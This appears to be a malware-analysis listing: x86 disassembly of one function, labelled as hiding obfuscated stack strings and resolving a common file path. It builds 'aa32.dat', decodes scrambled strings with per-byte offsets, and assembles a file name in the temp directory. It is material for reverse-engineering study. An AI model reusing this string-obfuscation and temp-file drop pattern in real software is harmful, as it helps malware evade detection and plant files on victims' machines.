Function at 0x40139c
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x404140]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
xor eax, eax
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], bl
lea edi, [ebp - 0x13]
push ebx
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_KillTimer]
mov esi, 0x104
push esi
push ebx
mov edi, 0x404160
push edi
call sub.MSVCR90.dll_memset
push esi
push ebx
push 0x404268
call sub.MSVCR90.dll_memset
push 0x32
lea eax, [ebp - 0x50]
push ebx
push eax
call sub.MSVCR90.dll_memset
push 0x103
lea eax, [ebp - 0x187]
push ebx
push eax
mov byte [ebp - 0x188], bl
call sub.MSVCR90.dll_memset
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x6a
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x77
mov byte [ebp - 0xd], 0x2f
mov byte [ebp - 0xc], 0x2f
mov byte [ebp - 0xb], 0x2a
mov byte [ebp - 0xa], 0x62
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], bl
call sub.MSVCR90.dll_strlen
add esp, 0x34
xor ecx, ecx
cmp eax, ebx
mov dword [ebp - 0x18c], eax
jle 0x401483
mov eax, ecx
and eax, 0x80000001
jns 0x401474
dec eax
or eax, 0xfffffffe
inc eax
add al, 3
add byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, dword [ebp - 0x18c]
jl 0x401466
push esi
lea eax, [ebp - 0x188]
push ebx
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x188]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x188]
push eax
call sub.MSVCR90.dll_strcat
pop ecx
pop ecx
call fcn.0040121c
test eax, eax
jne 0x40154d
push str.qa_i4420_fqpn7_tsu1422___2_mj40022365.dp35abqab
push edi
call sub.MSVCR90.dll_strcpy
push edi
call sub.MSVCR90.dll_strlen
mov esi, eax
add esp, 0xc
xor ecx, ecx
cmp esi, ebx
jle 0x4014f3
mov eax, ecx
push 3
cdq
pop edi
idiv edi
add dl, 2
add byte [ecx + 0x404160], dl
inc ecx
cmp ecx, esi
jl 0x4014dd
push 0x32
lea eax, [ebp - 0x84]
push ebx
push eax
call sub.MSVCR90.dll_memset
push 0x18
lea eax, [ebp - 0x84]
push 0x404169
push eax
call dword [sym.imp.MSVCR90.dll_strncpy]
lea eax, [ebp - 0x1c]
push eax
push str.0109a2_
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x50]
push str._s_s_s
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00401331
add esp, 0x34
jmp 0x4015d6
mov esi, dword [sym.imp.MSVCR90.dll_strncpy]
push 0x18
lea eax, [ebp - 0x50]
push 0x404169
push eax
call esi
mov edi, str.0109a2_
lea eax, [ebp - 0x50]
push edi
push eax
call sub.MSVCR90.dll_strcat
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x50]
push eax
call sub.MSVCR90.dll_strcat
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00401331
add esp, 0x24
test eax, eax
jne 0x4015d6
push 0x32
lea eax, [ebp - 0x50]
push ebx
push eax
call sub.MSVCR90.dll_memset
push 0x18
lea eax, [ebp - 0x50]
push 0x404276
push eax
call esi
lea eax, [ebp - 0x50]
push edi
push eax
call sub.MSVCR90.dll_strcat
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x50]
push eax
call sub.MSVCR90.dll_strcat
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00401331
add esp, 0x30
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004019cc
leave
ret